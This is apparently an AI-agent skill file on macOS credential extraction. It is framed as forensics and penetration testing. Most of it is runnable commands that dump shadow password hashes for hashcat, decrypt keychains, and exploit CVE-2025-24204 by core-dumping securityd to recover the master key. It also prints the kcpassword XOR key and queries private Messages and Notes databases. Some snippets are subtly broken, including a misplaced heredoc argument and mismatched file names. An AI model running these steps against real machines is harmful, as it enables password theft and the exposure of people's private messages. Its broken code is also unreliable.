macOS Security Artifacts & Credential Extraction

A comprehensive skill for analyzing macOS security artifacts, extracting credentials, and gathering forensic information from macOS systems.

When to Use This Skill

Use this skill when you need to:

• Extract password hashes from macOS shadow files
• Dump and analyze macOS keychains
• Extract credentials from user databases (Messages, Notes, Notifications)
• Analyze system preferences and configuration files
• Investigate notification systems and their databases
• Perform macOS security assessments or penetration testing
• Extract credentials using known vulnerabilities (CVE-2025-24204, etc.)

Prerequisites

• macOS system access (local or remote)
• Appropriate privileges (often root/sudo required)
• Understanding of macOS security architecture
• Tools:

  plutil

  ,

  security

  ,

  sqlite3

  ,

  dscl

  ,

  vmmap

  ,

  gcore

  (on vulnerable builds)

Password Extraction

Shadow Passwords

Shadow passwords are stored in plist files in

/var/db/dslocal/nodes/Default/users/

.

Dump all user information:

for l in /var/db/dslocal/nodes/Default/users/*; do 
  if [ -r "$l" ]; then 
    echo "$l"
    defaults read "$l"
  fi
done

Extract hashes in hashcat format (-m 7100 for PBKDF2-SHA512):

sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do 
  plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$"}"
  for j in {iterations,salt,entropy}; do 
    l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -)
    if [[ $j == iterations ]]; then 
      echo -n $l
    else 
      base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"\$\"\$0}"
    fi
  done
  echo ""
done'

Using dscl for specific users:

sudo dscl . -read /Users/$(whoami) ShadowHashData

/etc/master.passwd

This file is only used in single-user mode. It's rarely accessible on running systems.

Keychain Extraction

Using security Binary

# List certificates
security dump-trust-settings [-s] [-d]

# List keychain databases
security list-keychains

# List smartcards
security list-smartcards

# List keychain entries
security dump-keychain | grep -A 5 "keychain" | grep -v "version"

# Dump all info including secrets (requires password even as root)
security dump-keychain -d

Keychaindump Tool

Note: Keychaindump doesn't work on macOS Big Sur and later due to security changes.

Keychaindump targets the

securityd

daemon to extract the master key from memory:

# Find securityd PID
sudo pgrep securityd

# Inspect memory for potential keys
sudo vmmap <securityd_PID> | grep MALLOC_TINY

# Run keychaindump
sudo ./keychaindump

Chainbreaker

Chainbreaker extracts keychain information in a forensically sound manner:

Dump all keys (without passwords):

python3 chainbreaker.py --dump-all /Library/Keychains/System.keychain

Dump with SystemKey (requires root + SIP disabled):

# Get decryption key
hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey && echo

# Decrypt passwords
python3 chainbreaker.py --dump-all --key <hex_key> /Library/Keychains/System.keychain

Dump with password prompt:

python3 chainbreaker.py --dump-all --password-prompt /Users/<username>/Library/Keychains/login.keychain-db

Extract hash for cracking:

# Get keychain hash
python3 chainbreaker.py --dump-keychain-password-hash /Library/Keychains/System.keychain

# Crack with hashcat
hashcat -m 23100 --keep-guessing hashes.txt dictionary.txt

CVE-2025-24204: gcore Entitlement Exploit

Vulnerable: macOS 15.0–15.2 (Sequoia) Fixed: macOS 15.3+

The

/usr/bin/gcore

binary shipped with

com.apple.system-task-ports.read

entitlement, allowing any local admin to dump any process memory even with SIP/TCC enforced.

Exploitation:

# Find securityd PID
sudo pgrep securityd

# Dump securityd memory
sudo gcore -o /tmp/securityd $(pgrep securityd)

# Extract master key from memory dump
python3 - <<'PY'
import mmap, re, sys
with open('/tmp/securityd.' + sys.argv[1], 'rb') as f:
    mm = mmap.mmap(f.fileno(), 0, access=mmap.ACCESS_READ)
    for m in re.finditer(b'\x00\x00\x00\x00\x00\x00\x00\x18.{96}', mm):
        c = m.group(0)
        if b'SALTED-SHA512-PBKDF2' in c:
            print(c.hex())
            break
PY $(pgrep securityd)

Feed the extracted hex key to Chainbreaker with

--key <hex>

to decrypt the login keychain.

kcpassword (Automatic Login)

If automatic login is enabled, the password is stored in

/etc/kcpassword

XORed with a known key.

XOR Key:

0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F

Use scripts like this one to extract the password.

User Database Analysis

Messages Database

# List tables
sqlite3 $HOME/Library/Messages/chat.db .tables

# Query messages
sqlite3 $HOME/Library/Messages/chat.db 'select * from message'

# Query attachments
sqlite3 $HOME/Library/Messages/chat.db 'select * from attachment'

# Query deleted messages
sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages'

# Email snippets
sqlite3 $HOME/Suggestions/snippets.db 'select * from emailSnippets'

Notifications Database

Location:

$(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/db2/db

CVE-2024-44292/44293/40838/54504: macOS 14.7–15.1 stored banner content without proper redaction. Fixed in 15.2.

cd $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/

# Extract strings from notification database
strings $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/db2/db | grep -i -A4 slack

Important: On affected builds, the database is world-readable. Copy it before updating to preserve artifacts.

Notes Database

Location:

~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite

# List tables
sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite .tables

# Dump notes in readable format
for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite "select Z_PK from ZICNOTEDATA;"); do 
  sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite "select writefile('body1.gz.z', ZDATA) from ZICNOTEDATA where Z_PK = '$i';"
  zcat body1.gz.Z
done

Preferences Analysis

Location:

$HOME/Library/Preferences

Using defaults CLI:

# Read preferences
defaults read <domain>

# Modify preferences
defaults write <domain> <key> <value>

# Delete preferences
defaults delete <domain> <key>

The

/usr/sbin/cfprefsd

daemon handles preference modifications via XPC services.

OpenDirectory Permissions

File:

/System/Library/OpenDirectory/permissions.plist

This SIP-protected file contains permissions for accessing sensitive attributes like

ShadowHashData

,

HeimdalSRPKey

, and

KerberosKeys

by UUID.

Notification Systems

Darwin Notifications

Daemon:

/usr/sbin/notifyd

Config:

/etc/notify.conf

Dump notification status:

# Find notifyd PID
ps -ef | grep -i notifyd

# Send SIGUSR2 to dump status
sudo kill -USR2 <notifyd_PID>

# Read status file
cat /var/run/notifyd_<pid>.status

Distributed Notification Center

Daemon:

/usr/sbin/distnoted

Exposes XPC services and performs client verification.

Apple Push Notifications (APN)

Daemon:

apsd

Preferences:

/Library/Preferences/com.apple.apsd.plist

Database:

/Library/Application Support/ApplePushService/aps.db

# Query APN database
sudo sqlite3 /Library/Application\ Support/ApplePushService/aps.db

# Check daemon status
/System/Library/PrivateFrameworks/ApplePushService.framework/apsctl status

Database Tables:

• incoming_messages

• outgoing_messages

• channel

User Notifications

• CFUserNotification: Pop-up messages on screen
• Bulletin Board: iOS-style banners (stored in Notification Center)
• NSUserNotificationCenter: macOS notification database at

  /var/folders/<user temp>/0/com.apple.notificationcenter/db2/db

Security Considerations

1. SIP (System Integrity Protection): Many operations require SIP to be disabled or specific entitlements
2. TCC (Transparency, Consent, and Control): May block access to certain files even with root
3. Keychain Locking: If users lock their keychain after each use, memory-based extraction becomes ineffective
4. Version Compatibility: Many tools don't work on newer macOS versions (Big Sur+)
5. Forensic Soundness: Always copy artifacts before modifying or updating the system

References

• CVE-2025-24204: macOS gcore entitlement vulnerability
• CVE-2024-44292 et al.: Notification Center SQLite disclosure
• Chainbreaker
• Keychaindump
• DaveGrohl (hashcat converter)